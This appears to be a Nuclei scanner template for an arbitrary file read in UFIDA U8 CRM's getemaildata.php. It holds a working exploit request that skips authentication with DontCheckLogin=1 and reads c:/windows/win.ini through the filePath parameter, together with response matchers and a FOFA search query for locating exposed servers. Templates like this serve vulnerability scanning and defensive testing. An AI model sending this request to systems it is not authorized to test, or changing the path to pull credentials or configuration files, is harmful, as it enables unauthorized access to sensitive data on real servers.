id: yonyou-u8-crm-lfi

info:
  name: UFIDA U8 CRM getemaildata.php - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in getemaildata.php of UFIDA U8 CRM customer relationship management system. An attacker can obtain sensitive files in the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20CRM%E5%AE%A2%E6%88%B7%E5%85%B3%E7%B3%BB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20getemaildata.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="用友U8CRM"
  tags: yonyou,u8-crm,lfi

http:
  - raw:
      - |
        POST /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1,"bit app support") && contains(body_1,"extensions") && contains(body_1,"fonts")'
        condition: and